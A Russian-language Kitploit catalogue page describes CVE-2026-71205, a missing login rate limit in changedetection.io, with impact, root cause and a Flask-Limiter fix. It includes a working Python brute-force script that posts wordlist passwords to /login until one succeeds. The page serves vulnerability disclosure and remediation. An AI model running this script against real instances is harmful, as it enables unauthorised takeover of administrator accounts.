Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-71205-PoC — PoC: неограниченный брутфорс входа в changedetection.io, без ограничения частоты запросов (CVE-2026-71205, Средний 6.5) | Kitploit
Инструменты/GitHubGitHub/nel-droid/cve-2026-71205-poc
Атаки на ПаролиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеАутентификация
GitHubnel-droid/cve-2026-71205-poc

CVE-2026-71205-PoC

PoC: неограниченный брутфорс входа в changedetection.io, без ограничения частоты запросов (CVE-2026-71205, Средний 6.5)

Репозиторий
624 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-71205 — changedetection.io: Отсутствие ограничения скорости на /login позволяет неограниченный перебор паролей

Продукт: dgtlmoon/changedetection.io — v0.55.7 Файл: changedetectionio/flask_app.py CWE: CWE-307 — Ненадлежащее ограничение чрезмерных попыток аутентификации CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N — 6.5 (Medium) CNA: Turan Security · запись CVE

Описание

Маршрут /login в changedetection.io проверяет отправленный пароль по одному PBKDF2-HMAC-SHA256-хешу без ограничения скорости по IP или сессии, счётчика неудачных попыток или блокировки. В requirements.txt отсутствует какая-либо библиотека для ограничения скорости.

Влияние

Атакующий может выполнять неограниченные попытки подбора пароля для входа единственного администратора без какого-либо троттлинга, что позволяет проводить онлайн-перебор или атаки с подстановкой учётных данных против единственной учётной записи экземпляра без затрат, кроме сетевых round-trip.

Воспроизведение (PoC)

root@kitploit:~
import requests
import itertools
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
wordlist = sys.argv[2] if len(sys.argv) > 2 else "passwords.txt"

session = requests.Session()

with open(wordlist) as f:
    for line_no, password in enumerate(f, 1):
        password = password.strip()
        resp = session.post(
            f"{target}/login",
            data={"password": password},
            allow_redirects=False,
            timeout=10,
        )
        # No lockout, no rate-limit headers, no CAPTCHA at any attempt count.
        status = "SUCCESS" if resp.status_code in (302, 303) else "fail"
        print(f"[{line_no}] {password!r}: {status} (HTTP {resp.status_code})")
        if status == "SUCCESS":
            print(f"[+] Valid password found: {password}")
            break

Запустите на экземпляре с любым словарём паролей — ни одно количество попыток не вызывает блокировку, CAPTCHA или увеличивающуюся задержку в любой момент выполнения.

Корневая причина

Обработчик входа выполняет прямое сравнение хеша без состояния отслеживания попыток (по IP, по сессии или глобального), а также без установленного промежуточного ПО или библиотеки для ограничения скорости.

Рекомендации по исправлению

Добавьте библиотеку для ограничения скорости (например, Flask-Limiter) к /login, со счётчиком неудачных попыток и экспоненциальной задержкой или временной блокировкой для каждого исходного IP/сессии.

Скачать инструмент